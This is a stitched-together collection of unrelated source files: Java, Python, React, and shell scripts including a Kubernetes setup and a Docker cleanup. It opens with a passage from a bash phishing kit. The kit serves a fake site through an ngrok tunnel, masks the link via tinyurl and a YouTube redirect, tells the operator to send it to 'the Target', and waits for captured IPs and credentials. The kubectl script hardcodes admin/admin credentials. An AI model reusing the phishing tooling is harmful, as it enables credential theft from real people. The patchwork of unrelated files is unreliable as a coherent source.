"http://tinyurl.com/api-create.php?url=https://www.youtube.com/redirect?v=636B9Qh-fqU&redir_token=j8GGFy4s0H5jIRVfuChglne9fQB8MTU4MjM5MzM0N0AxNTgyMzA2OTQ3&event=video_description&q=$send_link" | head -n1) #send_ip=$(curl -s http://tinyurl.com/api-create.php?url=$send_link | head -n1) printf '\n\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Or using tinyurl:\e[0m\e[1;77m %s \n' $send_ip printf "\n" checkfound } startx() { if [[ -e sites/$server/ip.txt ]]; then rm -rf sites/$server/ip.txt fi if [[ -e sites/$server/usernames.txt ]]; then rm -rf sites/$server/usernames.txt fi default_port="3333" #$(seq 1111 4444 | sort -R | head -n1) printf '\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Choose a Port (Default:\e[0m\e[1;77m %s \e[0m\e[1;92m): \e[0m' $default_port read port port="${port:-${default_port}}" serverx } start() { if [[ -e sites/$server/ip.txt ]]; then rm -rf sites/$server/ip.txt fi if [[ -e sites/$server/usernames.txt ]]; then rm -rf sites/$server/usernames.txt fi if [[ -e ngrok ]]; then echo "" else command -v unzip > /dev/null 2>&1 || { echo >&2 "package UNZIP is not installed ... Aborting ..."; exit 1; } command -v wget > /dev/null 2>&1 || { echo >&2 "package WGET is not installed ... Aborting ..."; exit 1; } printf "\e[1;92m[\e[0m*\e[1;92m] Downloading Ngrok ...\n" arch=$(uname -a | grep -o 'arm' | head -n1) arch2=$(uname -a | grep -o 'Android' | head -n1) if [[ $arch == *'arm'* ]] || [[ $arch2 == *'Android'* ]] ; then wget --no-check-certificate https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-arm.zip > /dev/null 2>&1 if [[ -e ngrok-stable-linux-arm.zip ]]; then unzip ngrok-stable-linux-arm.zip > /dev/null 2>&1 chmod +x ngrok rm -rf ngrok-stable-linux-arm.zip else printf "\e[1;93m[\e[1;91m!\e[1;93m] Download error ... Termux, run:\e[0m\e[1;77m apt install wget\e[1;92m\n" exit 1 fi else wget --no-check-certificate https://bin.equinox.io/c/4VmDzA7iaHb/ngrok-stable-linux-386.zip > /dev/null 2>&1 if [[ -e ngrok-stable-linux-386.zip ]]; then unzip ngrok-stable-linux-386.zip > /dev/null 2>&1 chmod +x ngrok rm -rf ngrok-stable-linux-386.zip else printf "\e[1;93m[\e[1;91m!\e[1;93m] Download error ... \e[0m\n" exit 1 fi fi fi printf "\e[1;92m[\e[0m*\e[1;92m] Starting php server ...\n" cd sites/$server && php -S 127.0.0.1:3333 > /dev/null 2>&1 & sleep 2 printf "\e[1;92m[\e[0m*\e[1;92m] Starting ngrok server ...\n" ./ngrok http 127.0.0.1:3333 > /dev/null 2>&1 & sleep 10 link=$(curl -s -N http://127.0.0.1:4040/api/tunnels | grep -o "https://[0-9a-z]*\.ngrok.io") printf "\e[1;92m[\e[0m*\e[1;92m] Send this link to the Target:\e[0m\e[1;77m %s\e[0m\n" $link send_ip=$(curl -s "http://tinyurl.com/api-create.php?url=https://www.youtube.com/redirect?v=636B9Qh-fqU&redir_token=j8GGFy4s0H5jIRVfuChglne9fQB8MTU4MjM5MzM0N0AxNTgyMzA2OTQ3&event=video_description&q=$link" | head -n1) #send_ip=$(curl -s http://tinyurl.com/api-create.php?url=$send_link | head -n1) printf '\n\e[1;93m[\e[0m\e[1;77m*\e[0m\e[1;93m] Or using tinyurl:\e[0m\e[1;77m %s \n' $send_ip printf "\n" checkfound } start1() { if [[ -e sendlink ]]; then rm -rf sendlink fi #printf "\n" #printf "\e[1;92m[\e[0m\e[1;77m01\e[0m\e[1;92m]\e[0m\e[1;93m Serveo.net (SSH Tunneling, Best!)\e[0m\n" #printf "\e[1;92m[\e[0m\e[1;77m02\e[0m\e[1;92m]\e[0m\e[1;93m Ngrok (Most Used, Recommended!)\e[0m\n" #default_option_server="1" #read -p $'\n\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Choose a Port Forwarding option: \e[0m' option_server #option_server="${option_server:-${default_option_server}}" #if [[ $option_server == 1 || $option_server == 01 ]]; then #startx #elif [[ $option_server == 2 || $option_server == 02 ]]; then start #else #printf "\e[1;93m [\e[1;91m!\e[1;93m] Invalid option!\e[0m\n" #sleep 1 #clear #start1 #fi } checkfound() { printf "\n" printf "\e[1;92m[\e[0m\e[1;77m*\e[0m\e[1;92m] Waiting IPs and Credentials,\e[0m\e[1;77m Press Ctrl + C to exit ...\e[0m\n" while [ true ]; do if [[ -e "sites/$server/ip.txt" ]]; then printf "\n\e[1;92m[\e[0m*\e[1;92m] IP Found!\n" catch_ip rm -rf sites/$server/ip.txt fi sleep 0.5 if [[ -e "sites/$server/usernames.txt" ]]; then printf "\n\e[1;93m[\e[0m*\e[1;93m]\e[0m\e[1;92m Credentials Found!\n" catch_cred rm -rf sites/$server/usernames.txt fi sleep 0.5 done } banner dependencies menu
#!/bin/bash pushd $( dirname "${BASH_SOURCE[0]}" ) echo "Starting icp..." echo "Need to configure CLI client first (TODO)" echo "Configuring docker registry secret..." kubectl create secret docker-registry admin.registrykey \ --docker-server mycluster.icp:8500 \ --docker-username admin \ --docker-password admin \ --docker-email admin@admin.com kubectl patch serviceaccount default -p '{"imagePullSecrets": [{"name": "admin.registrykey"}]}' --namespace default popd
/* * Copyright 2017 The Mifos Initiative. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package io.mifos.identity.internal.command.handler; import io.mifos.core.command.annotation.Aggregate; import io.mifos.core.command.annotation.CommandHandler; import io.mifos.core.command.annotation.CommandLogLevel; import io.mifos.core.command.annotation.EventEmitter; import io.mifos.core.lang.ServiceException; import io.mifos.identity.api.v1.events.*; import io.mifos.identity.internal.command.*; import io.mifos.identity.internal.mapper.ApplicationCallEndpointSetMapper; import io.mifos.identity.internal.mapper.PermissionMapper; import io.mifos.identity.internal.repository.*; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; /** * @author <NAME> */ @SuppressWarnings("unused") @Aggregate @Component public class ApplicationCommandHandler { private final ApplicationSignatures applicationSignatures; private final ApplicationPermissions applicationPermissions; private final ApplicationPermissionUsers applicationPermissionUsers; private final ApplicationCallEndpointSets applicationCallEndpointSets; @Autowired public ApplicationCommandHandler(final ApplicationSignatures applicationSignatures, final ApplicationPermissions applicationPermissions, final ApplicationPermissionUsers applicationPermissionUsers, final ApplicationCallEndpointSets applicationCallEndpointSets) { this.applicationSignatures = applicationSignatures; this.applicationPermissions = applicationPermissions; this.applicationPermissionUsers = applicationPermissionUsers; this.applicationCallEndpointSets = applicationCallEndpointSets; } @CommandHandler(logStart = CommandLogLevel.INFO, logFinish = CommandLogLevel.INFO) @EventEmitter(selectorName = EventConstants.OPERATION_HEADER, selectorValue = EventConstants.OPERATION_PUT_APPLICATION_SIGNATURE) public ApplicationSignatureEvent process(final SetApplicationSignatureCommand command) { final ApplicationSignatureEntity applicationSignatureEntity = new ApplicationSignatureEntity(); applicationSignatureEntity.setApplicationIdentifier(command.getApplicationIdentifier()); applicationSignatureEntity.setKeyTimestamp(command.getKeyTimestamp()); applicationSignatureEntity.setPublicKeyMod(command.getSignature().getPublicKeyMod()); applicationSignatureEntity.setPublicKeyExp(command.getSignature().getPublicKeyExp()); applicationSignatures.add(applicationSignatureEntity); return new ApplicationSignatureEvent(command.getApplicationIdentifier(), command.getKeyTimestamp()); } @CommandHandler(logStart = CommandLogLevel.INFO, logFinish = CommandLogLevel.INFO) @EventEmitter(selectorName = EventConstants.OPERATION_HEADER, selectorValue = EventConstants.OPERATION_DELETE_APPLICATION) public String process(final DeleteApplicationCommand command) { applicationSignatures.delete(command.getApplicationIdentifier()); return command.getApplicationIdentifier(); } @CommandHandler(logStart = CommandLogLevel.INFO, logFinish = CommandLogLevel.INFO) @EventEmitter(selectorName = EventConstants.OPERATION_HEADER, selectorValue = EventConstants.OPERATION_POST_APPLICATION_PERMISSION) public ApplicationPermissionEvent process(final CreateApplicationPermissionCommand command) { final ApplicationPermissionEntity applicationPermissionEntity = new ApplicationPermissionEntity( command.getApplicationIdentifer(), PermissionMapper.mapToPermissionType(command.getPermission())); applicationPermissions.add(applicationPermissionEntity); return new ApplicationPermissionEvent(command.getApplicationIdentifer(), command.getPermission().getPermittableEndpointGroupIdentifier()); } @CommandHandler(logStart = CommandLogLevel.INFO, logFinish = CommandLogLevel.INFO) @EventEmitter(selectorName = EventConstants.OPERATION_HEADER, selectorValue = EventConstants.OPERATION_DELETE_APPLICATION_PERMISSION) public ApplicationPermissionEvent process(final DeleteApplicationPermissionCommand command) { applicationPermissions.delete(command.getApplicationIdentifier(), command.getPermittableGroupIdentifier()); return new ApplicationPermissionEvent(command.getApplicationIdentifier(), command.getPermittableGroupIdentifier()); } @CommandHandler(logStart = CommandLogLevel.INFO, logFinish = CommandLogLevel.INFO) @EventEmitter(selectorName = EventConstants.OPERATION_HEADER, selectorValue = EventConstants.OPERATION_PUT_APPLICATION_PERMISSION_USER_ENABLED) public ApplicationPermissionUserEvent process(final SetApplicationPermissionUserEnabledCommand command) { applicationPermissionUsers.setEnabled(command.getApplicationIdentifier(), command.getPermittableGroupIdentifier(), command.getUserIdentifier(), command.isEnabled()); return new ApplicationPermissionUserEvent(command.getApplicationIdentifier(), command.getPermittableGroupIdentifier(), command.getUserIdentifier()); } @CommandHandler(logStart = CommandLogLevel.INFO, logFinish = CommandLogLevel.INFO) @EventEmitter(selectorName = EventConstants.OPERATION_HEADER, selectorValue = EventConstants.OPERATION_PUT_APPLICATION_CALLENDPOINTSET) public ApplicationCallEndpointSetEvent process(final ChangeApplicationCallEndpointSetCommand command) { applicationCallEndpointSets.get(command.getApplicationIdentifier(), command.getCallEndpointSetIdentifier()) .orElseThrow(() -> ServiceException.notFound("No application call endpoint '" + command.getApplicationIdentifier() + "." + command.getCallEndpointSetIdentifier() + "'.")); final ApplicationCallEndpointSetEntity toSave = ApplicationCallEndpointSetMapper.mapToEntity( command.getApplicationIdentifier(), command.getCallEndpointSet()); applicationCallEndpointSets.change(toSave); return new ApplicationCallEndpointSetEvent(command.getApplicationIdentifier(), command.getCallEndpointSetIdentifier()); } @CommandHandler(logStart = CommandLogLevel.INFO, logFinish = CommandLogLevel.INFO) @EventEmitter(selectorName = EventConstants.OPERATION_HEADER, selectorValue = EventConstants.OPERATION_POST_APPLICATION_CALLENDPOINTSET) public ApplicationCallEndpointSetEvent process(final CreateApplicationCallEndpointSetCommand command) { if (!applicationSignatures.signaturesExistForApplication(command.getApplicationIdentifier())) throw ServiceException.notFound("No application '" + command.getApplicationIdentifier() + "'."); final ApplicationCallEndpointSetEntity toSave = ApplicationCallEndpointSetMapper.mapToEntity( command.getApplicationIdentifier(), command.getCallEndpointSet()); applicationCallEndpointSets.add(toSave); return new ApplicationCallEndpointSetEvent(command.getApplicationIdentifier(), command.getCallEndpointSet().getIdentifier()); } @CommandHandler(logStart = CommandLogLevel.INFO, logFinish = CommandLogLevel.INFO) @EventEmitter(selectorName = EventConstants.OPERATION_HEADER, selectorValue = EventConstants.OPERATION_DELETE_APPLICATION_CALLENDPOINTSET) public ApplicationCallEndpointSetEvent process(final DeleteApplicationCallEndpointSetCommand command) { applicationCallEndpointSets.get(command.getApplicationIdentifier(), command.getCallEndpointSetIdentifier()) .orElseThrow(() -> ServiceException.notFound("No application call endpoint '" + command.getApplicationIdentifier() + "." + command.getCallEndpointSetIdentifier() + "'.")); applicationCallEndpointSets.delete(command.getApplicationIdentifier(), command.getCallEndpointSetIdentifier()); return new ApplicationCallEndpointSetEvent(command.getApplicationIdentifier(), command.getCallEndpointSetIdentifier()); } }
# **************************************************************************** # # # # ::: :::::::: # # ft_atoi_test.c.sh :+: :+: :+: # # +:+ +:+ +:+ # # By: badam <marvin@42.fr> +#+ +:+ +#+ # # +#+#+#+#+#+ +#+ # # Created: 2019/11/05 22:12:05 by badam #+# #+# # # Updated: 2019/11/12 20:14:23 by badam ### ########.fr # # # # **************************************************************************** # #/bin/sh ./ft_atoi_test.c.out "0" && OK || KO ./ft_atoi_test.c.out "---0" && OK || KO ./ft_atoi_test.c.out "1" && OK || KO ./ft_atoi_test.c.out "-1" && OK || KO ./ft_atoi_test.c.out "++-5" && OK || KO ./ft_atoi_test.c.out "-5" && OK || KO ./ft_atoi_test.c.out "9" && OK || KO ./ft_atoi_test.c.out "--9" && OK || KO ./ft_atoi_test.c.out "10" && OK || KO ./ft_atoi_test.c.out "-10" && OK || KO ./ft_atoi_test.c.out " 99" && OK || KO ./ft_atoi_test.c.out " -99 (tab and traailing chars)" && OK || KO ./ft_atoi_test.c.out "" && OK || KO ./ft_atoi_test.c.out "+2147483647 (max int val)" && OK || KO ./ft_atoi_test.c.out "-2147483648" && OK || KO SEPARATE ./ft_atoi_test.c.out "99999999999999999999999999" && OK || KO ./ft_atoi_test.c.out "-9999999999999999999999999" && OK || KO
import React, { useState } from 'react' import { Select, FormControl, FormHelperText, Tooltip, MenuItem, InputLabel, InputBase, TextField, OutlinedInput, colors } from '@mui/material'; import { GridToolbarContainer } from '@mui/x-data-grid'; import { makeStyles } from '@mui/styles' import { styled } from '@mui/material/styles' const CssTextField = styled(TextField)({ '& .MuiInput-underline:after': { borderBottomColor: '#fafafa', }, '& .MuiButtonBase-root': { color: '#fff', padding: '0 0 0 0' }, '& .MuiOutlinedInput-root': { '& fieldset': { borderColor: '#bdbdbd', }, '&:hover fieldset': { borderColor: '#fafafa', }, '&.Mui-focused fieldset': { borderColor: '#fafafa', }, }, }); export default function ModelSelect(props) { const { color, classes } = props const [model, setModel] = useState('') const models = ['Random', 'Random Walk', 'RedThread']; // get from the backend const handleChange = (event) => { console.log(event) console.log(event.target.value) setModel(event.target.value) } const algDescriptions = ["about random", "about pagerank", "about others"] return ( <GridToolbarContainer> <CssTextField id="outlined-select-models" select // label="Models" value={model || 'Random'} onChange={handleChange} helperText="Select a model" FormHelperTextProps={{ className: classes.root }} inputProps={{ classes: { icon: classes.icon, root: classes.root, }, }} // InputLabelProps={{ // className: classes.inputLabel, // }} fullWidth > {models.map((val, index) => <Tooltip title={algDescriptions[index]} key={val} placement="left" value={val}> <MenuItem value={val} key={val}>{val}</MenuItem> </Tooltip> )} </CssTextField> </GridToolbarContainer> ) }
<gh_stars>10-100 /* * Copyright 2019 <NAME> * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package io.openvalidation.antlr.test.util.parsers; import java.util.ArrayList; import java.util.List; import org.antlr.v4.runtime.BaseErrorListener; import org.antlr.v4.runtime.RecognitionException; import org.antlr.v4.runtime.Recognizer; public class IncompleteInputErrorListener extends BaseErrorListener { private List<String> errorList; private int num; public IncompleteInputErrorListener() { errorList = new ArrayList<>(); num = 1; } public List<String> getErrorList() { return errorList; } @Override public void syntaxError( Recognizer<?, ?> recognizer, Object offendingSymbol, int line, int charPositionInLine, String msg, RecognitionException e) { String error = "Error " + (num++) + ": " + "in line: " + line + "; at position: " + charPositionInLine; if (e != null && e.getOffendingToken() != null) { error += "; offending symbol: " + e.getOffendingToken().getText(); } error += "; details: " + offendingSymbol.toString(); error += ";\n\tmessage: " + msg; errorList.add(error); } }
public class PrimeNumber { public static void main(String[] args) { int num = 17; boolean isPrime = true; for (int i = 2; i <= num / 2; i++) { if (num % i == 0) { isPrime = false; break; } } if (isPrime) System.out.println(num + " is a prime number."); else System.out.println(num + " is not a prime number."); } }
#!/usr/bin/env bash apt-get purge -yqq --auto-remove -o APT::AutoRemove::RecommendsImportant=false -o APT::AutoRemove::SuggestsImportant=false \ apt-utils \ build-essential \ dpkg-dev \ file \ libc-client-dev \ libc-dev \ libpcre3-dev \ pkg-config \ re2c \ wget apt-get autoremove -yqq --purge apt-get autoclean -yqq apt-get clean rm -rf /var/cache/apt/ /var/lib/apt/lists/* /var/log/* /tmp/* /var/tmp/* /usr/share/doc /usr/share/doc-base /usr/share/groff/* /usr/share/info/* /usr/share/linda/* /usr/share/lintian/overrides/* /usr/share/locale/* /usr/share/man/* /usr/share/locale/* /usr/share/gnome/help/*/* /usr/share/doc/kde/HTML/*/* /usr/share/omf/*/*-*.emf
package cyclops.pure.typeclasses.functor; import cyclops.function.higherkinded.Higher; import java.util.function.Consumer; import java.util.function.Function; /** * Functor type class, performs a transformation operation over the supplied data structure * * @param <CRE> * @author johnmcclean */ @FunctionalInterface public interface Functor<CRE> { /** * Transform the supplied data structure using the supplied transformation function * * <pre> * {@code * ListX<Integer> listx = ListX.of(1,2,3); * ListType<Integer> mapped1 =Lists.functor().map(a->a+1, ListType.widen(listx)); * mapped1.add(1); * ListX<Integer> listxMapped = mapped1.list(); * } * </pre> * * @param fn Transformation function * @param ds Datastructure to applyHKT * @return */ <T, R> Higher<CRE, R> map(Function<? super T, ? extends R> fn, Higher<CRE, T> ds); default <T, R> Higher<CRE, R> map_(Higher<CRE, T> ds, Function<? super T, ? extends R> fn) { return map(fn, ds); } default <T> Higher<CRE, T> peek(Consumer<? super T> fn, Higher<CRE, T> ds) { return map(t -> { fn.accept(t); return t; }, ds); } default <T, R> Function<Higher<CRE, T>, Higher<CRE, R>> lift(final Function<? super T, ? extends R> fn) { return t -> map(fn, t); } }
<filename>src/io/miti/jarman/gui/table/MultiLineCellRenderer.java package io.miti.jarman.gui.table; import java.awt.Component; import javax.swing.BorderFactory; import javax.swing.JTable; import javax.swing.JTextArea; import javax.swing.UIManager; import javax.swing.table.TableCellRenderer; /** * A renderer for multiple-line cells. */ public final class MultiLineCellRenderer extends JTextArea implements TableCellRenderer { /** * Serial version UID. */ private static final long serialVersionUID = 1L; /** * Default constructor. */ public MultiLineCellRenderer() { setLineWrap(true); setWrapStyleWord(true); setOpaque(true); } /** * Return the component to render. * * @param table the table * @param value the value to render * @param isSelected whether the row is selected * @param hasFocus whether the row has focus * @param row the row of the cell to render * @param column the column of the cell to render * @return the component to render */ public Component getTableCellRendererComponent(final JTable table, final Object value, final boolean isSelected, final boolean hasFocus, final int row, final int column) { if (isSelected) { setForeground(table.getSelectionForeground()); setBackground(table.getSelectionBackground()); } else { setForeground(table.getForeground()); setBackground(table.getBackground()); } setFont(table.getFont()); if (hasFocus) { setBorder(UIManager.getBorder("Table.focusCellHighlightBorder")); if (table.isCellEditable(row, column)) { setForeground(UIManager.getColor("Table.focusCellForeground")); setBackground(UIManager.getColor("Table.focusCellBackground")); } } else { setBorder(BorderFactory.createEmptyBorder(1, 2, 1, 2)); } setText((value == null) ? "" : value.toString()); return this; } }
<reponame>minyong-jeong/hello-algorithm /* https://leetcode.com/problems/first-bad-version/ 278. First Bad Version (Easy) */ /* The isBadVersion API is defined in the parent class VersionControl. boolean isBadVersion(int version); */ public class Solution extends VersionControl { public int firstBadVersion(int n) { int left = 1; int right = n; while(left < right) { int mid = left + (right - left) / 2; if (isBadVersion(mid)) { right = mid; } else { left = mid + 1; } } return right; } }
#!/bin/sh # This is a generated file; do not edit or check into version control. export "FLUTTER_ROOT=/Users/lorenzopichilli/flutter" export "FLUTTER_APPLICATION_PATH=/Users/lorenzopichilli/Desktop/flutter_inappwebview/example" export "FLUTTER_TARGET=/Users/lorenzopichilli/Desktop/flutter_inappwebview/example/lib/main.dart" export "FLUTTER_BUILD_DIR=build" export "SYMROOT=${SOURCE_ROOT}/../build/ios" export "FLUTTER_BUILD_NAME=1.0.0" export "FLUTTER_BUILD_NUMBER=1" export "DART_DEFINES=flutter.inspector.structuredErrors%3Dtrue,FLUTTER_WEB_AUTO_DETECT%3Dtrue" export "DART_OBFUSCATION=false" export "TRACK_WIDGET_CREATION=true" export "TREE_SHAKE_ICONS=false" export "PACKAGE_CONFIG=/Users/lorenzopichilli/Desktop/flutter_inappwebview/example/.dart_tool/package_config.json"
<reponame>magicjar/nusantara-valid<filename>src/test/functions/_cellularProvider.spec.ts<gh_stars>1-10 import { expect } from "chai" import { getDataCellularProvider, getDataCellularProviders } from "../../ts/functions" describe('Cellular Provider', () => { describe('getDataCellularProvider()', () => { it('should return an object of Cellular Provider data', () => { expect(getDataCellularProvider('TELKOMSEL')).to.deep.equal( { "key": "TELKOMSEL", "name": "Telkomsel" } ) }) }) describe('getDataCellularProviders()', () => { it('should return an array of Cellular Providers data', () => { expect(getDataCellularProviders()).to.deep.equal([ { key: 'TELKOMSEL', name: 'Telkomsel' }, { key: 'INDOSAT', name: '<NAME>' }, { key: 'XL', name: 'XL Axiata' }, { key: 'TRI', name: '<NAME>' }, { key: 'SMARTFREN', name: 'Smartfren' }, { key: 'AXIS', name: 'AXIS' } ]) }) }) })
from django.apps import AppConfig class ReceitasConfig(AppConfig): name = 'receitas'
<reponame>ibuttimer/VehiclesAPI package com.udacity.boogle; import org.junit.jupiter.api.Test; import org.junit.jupiter.api.extension.ExtendWith; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.boot.test.context.SpringBootTest; import org.springframework.core.env.Environment; import org.springframework.test.context.junit.jupiter.SpringExtension; import java.util.Arrays; @ExtendWith(SpringExtension.class) @SpringBootTest public class BoogleMapsApplicationTests { @Autowired private Environment environment; @Test public void contextLoads() { Logger log = LoggerFactory.getLogger(this.getClass()); log.info( String.format("Active profiles: %s", Arrays.toString(environment.getActiveProfiles())) ); System.getenv().forEach((key, value) -> System.out.println(key+" - "+value)); } }
def sum(a, b): return a + b # Driver Code a = 10 b = 20 print(sum(a, b)) # Output --> 30
def check_sorted_list(arr: 'list', reverse: bool = False): for i in range(1, len(arr)): if reverse: if arr[i-1] < arr[i]: return False else: if arr[i-1] > arr[i]: return False return True def get_high_low(arr): low = None high = None highPos = None lowPos = None for i, v in enumerate(arr): atual = v if low == None: low = atual lowPos = i if high == None: high = atual highPos = i if atual < low: low = atual lowPos = i if atual > high: high = atual highPos = i return {'high': high, 'low': low, 'highPos': highPos, 'lowPos': lowPos} def binary_search(arr: 'list', element: int, end: int, start: int = 0): if end <= start: return start + 1 if element > arr[start] else start mid = (end + start) // 2 if (element == arr[mid]): return mid + 1 if (element > arr[mid]): return binary_search( arr, element, start=mid + 1, end=end ) return binary_search( arr, element, start=start, end=mid - 1 )
#!/bin/sh # create artifacts using Maven mvn clean package -DskipTests # create "dist" directory rm -fr dist mkdir -p dist/plugins # copy plugins to "dist" directory cp plugins/*/target/*-all.jar dist/plugins/ cp plugins/enabled.txt dist/plugins/ cp plugins/disabled.txt dist/plugins/ cd dist # unzip app to "dist" directory jar xf ../app/target/*.zip # run app java -jar *.jar cd -
def list_to_str(arr): str = "" for i in arr: str += i return str arr = ['a', 'b', 'c'] result = list_to_str(arr) print(result)
<filename>track_based_models/single_track_model.py import datetime import numpy as np import os import pandas as pd from . import util from .util import minute, lin_interp, cos_deg, sin_deg from .base_model import BaseModel class SingleTrackModel(BaseModel): delta = None time_points = None time_point_delta = None window = None data_source_lbl = None data_target_lbl = None data_undefined_vals = None data_defined_vals = None data_true_vals = None data_false_vals = None def create_features_and_times(self, data, angle=77, max_deltas=0): t, xi, y, label_i, defined_i = self.build_features(data, skip_label=True) min_ndx = 0 max_ndx = len(y) - self.time_points features = [] times = [] i0 = 0 while i0 < max_ndx: i1 = min(i0 + self.time_points + max_deltas * self.time_point_delta, len(y)) raw_features = y[i0:i1] features.append(self.cook_features(raw_features, angle=angle, noise=0)[0]) i0 = i0 + max_deltas * self.time_point_delta + 1 times = t[self.time_points//2:-self.time_points//2] return features, times @classmethod def build_features(cls, obj, skip_label=False, keep_frac=1.0): delta = cls.delta n_pts = len(obj['lat']) if n_pts == 0: return [], [], [], [], [] assert 0 < keep_frac <= 1, 'keep frac must be between 0 and 1' if keep_frac == 1: mask = None else: # Build a random mask with probability keep_frac. Force # first and last point to be true so the time frame # stays the same. mask = np.random.uniform(0, 1, size=[n_pts]) < keep_frac mask[0] = mask[-1] = True assert np.isnan(obj['speed']).sum() == np.isnan(obj['course']).sum() == 0, ( 'null values are not allow in the data, please filter first') v = np.array(obj['speed']) # Replace missing speeds with arbitrary 3.5 (between setting and hauling) # TODO: use implied speed instead v[np.isnan(v)] = 3.5 obj['speed'] = v xi, speeds = lin_interp(obj, 'speed', delta=delta, mask=mask) y0 = speeds # _, cos_yi = lin_interp(obj, 'course', delta=delta, mask=mask, func=cos_deg) _, sin_yi = lin_interp(obj, 'course', delta=delta, mask=mask, func=sin_deg) angle_i = np.arctan2(sin_yi, cos_yi) y1 = angle_i # _, y2 = lin_interp(obj, 'lat', delta=delta, mask=mask) # Longitude can cross the dateline, so interpolate useing cos / sin _, cos_yi = lin_interp(obj, 'lon', delta=delta, mask=mask, func=cos_deg) _, sin_yi = lin_interp(obj, 'lon', delta=delta, mask=mask, func=sin_deg) y3 = np.degrees(np.arctan2(sin_yi, cos_yi)) # delta times xp = util.compute_xp(obj, mask) dts = util.delta_times(xi, xp) y4 = dts if 'min_dt_min' in obj: dts += lin_interp(obj, 'min_dt_min', mask=None) * 60 # depths _, y5 = lin_interp(obj, 'depth', delta=delta, mask=mask) # Times t0 = obj['timestamp'].iloc[0] t = [(t0 + datetime.timedelta(seconds=delta * i)) for i in range(len(y1))] y = np.transpose([y0, y1, y2, y3, y4, y5]) # # Quick and dirty nearest neighbor (only works for binary labels I think) if skip_label: label_i = defined_i = None else: obj['is_defined'] = [w in cls.data_defined_vals for w in obj[cls.data_source_lbl]] obj[cls.data_target_lbl] = [w in cls.data_true_vals for w in obj[cls.data_source_lbl]] _, raw_label_i = lin_interp(obj, cls.data_target_lbl, delta=delta, mask=None, # Don't mask labels - use undropped labels for training func=lambda x: np.array(x) == 1) # is it a set label_i = raw_label_i > 0.5 _, raw_label_i = lin_interp(obj, cls.data_target_lbl, delta=delta, mask=None, # Don't mask labels - use undropped labels for training func=lambda x: np.array(x) == 1) # is it a set label_i = raw_label_i > 0.5 _, raw_defined_i = lin_interp(obj, 'is_defined', delta=delta, mask=None, # Don't mask labels - use undropped labels for training func=lambda x: np.array(x) == 1) # is it a set defined_i = raw_defined_i > 0.5 # return t, xi, y, label_i, defined_i @classmethod def cook_features(cls, raw_features, angle=None, noise=None): speed = raw_features[:, 0] angle = np.random.uniform(0, 2*np.pi) if (angle is None) else angle angle_feat = angle + (np.pi / 2.0 - raw_features[:, 1]) ndx = np.random.randint(len(raw_features)) lat0 = raw_features[ndx, 2] lon0 = raw_features[ndx, 3] lat = raw_features[:, 2] lon = raw_features[:, 3] scale = np.cos(np.radians(lat)) d1 = lat - lat0 d2 = (lon - lon0) * scale dir_a = np.cos(angle) * d2 - np.sin(angle) * d1 dir_b = np.cos(angle) * d1 + np.sin(angle) * d2 depth = raw_features[:, 5] if noise is None: noise = np.random.normal(0, .05, size=len(raw_features[:, 4])) noisy_time = np.maximum(raw_features[:, 4] / float(cls.data_far_time) + noise, 0) is_far = np.exp(-noisy_time) dir_h = np.hypot(dir_a, dir_b) return np.transpose([speed, np.cos(angle_feat), np.sin(angle_feat), dir_a, dir_b, is_far, depth ]), angle # TODO: vessel_label can be class attribute @classmethod def load_data(cls, path, delta, skip_label=False, keep_fracs=[1], features=None, vessel_label=None): obj_tv = util.load_json_data(path, vessel_label=vessel_label) obj = util.convert_from_legacy_format(obj_tv) mask = ~np.isnan(np.array(obj_tv['sogs'])) & ~np.isnan(np.array(obj_tv['courses'])) obj[cls.data_source_lbl] = np.asarray(obj_tv[cls.data_source_lbl])[mask] # if features is None: if features is not None: # Filter features down to just the ssvid / time span we want ssvid = obj_tv['mmsi'] mask = (features.ssvid == ssvid) features = features[mask] features = features.sort_values(by='timestamp') t0 = obj['timestamp'].iloc[0] t1 = obj['timestamp'].iloc[-1] i0 = np.searchsorted(features.timestamp, t0, side='left') i1 = np.searchsorted(features.timestamp, t1, side='right') features = features.iloc[i0:i1] # Add obj data to features cls.add_obj_data(obj, features) # Rename so we can use features as obj: obj = pd.DataFrame({ 'timestamp' : features.timestamp, 'speed' : features.speed_knots, 'course' : features.course_degrees, 'lat' : features.lat, 'lon' : features.lon, 'depth' : -features.elevation_m, cls.data_source_lbl : features[cls.data_source_lbl], }) for kf in keep_fracs: try: t, x, y, label, is_defined = cls.build_features(obj, skip_label=skip_label, keep_frac=kf) except: raise print('skipping', path, kf, 'due to unknown error') continue t = np.asarray(t) yield (t, x, y, label, is_defined) @classmethod def add_obj_data(cls, obj, features): obj['is_defined'] = [(i in cls.data_defined_vals) for i in obj[cls.data_source_lbl]] obj[cls.data_target_lbl] = [(i in cls.data_true_vals) for i in obj[cls.data_source_lbl]] _, raw_label_i = lin_interp(obj, cls.data_target_lbl, t=features.timestamp, mask=None, # Don't mask labels - use undropped labels for training func=lambda x: np.array(x) == 1) # is it a set features[cls.data_target_lbl] = raw_label_i > 0.5 _, raw_defined_i = lin_interp(obj, 'is_defined', t=features.timestamp, mask=None, # Don't mask labels - use undropped labels for training func=lambda x: np.array(x) == 1) # is it a set features['is_defined'] = raw_defined_i > 0.5 source = [] for is_def, is_true in zip(features['is_defined'], features[cls.data_target_lbl]): if is_def: if is_true: source.append(cls.data_true_vals[0]) else: source.append(cls.data_false_vals[0]) else: source.append(cls.data_undefined_vals[0]) features[cls.data_source_lbl] = source @classmethod def generate_data(cls, paths, min_samples, seed=888, skip_label=False, keep_fracs=(1,), 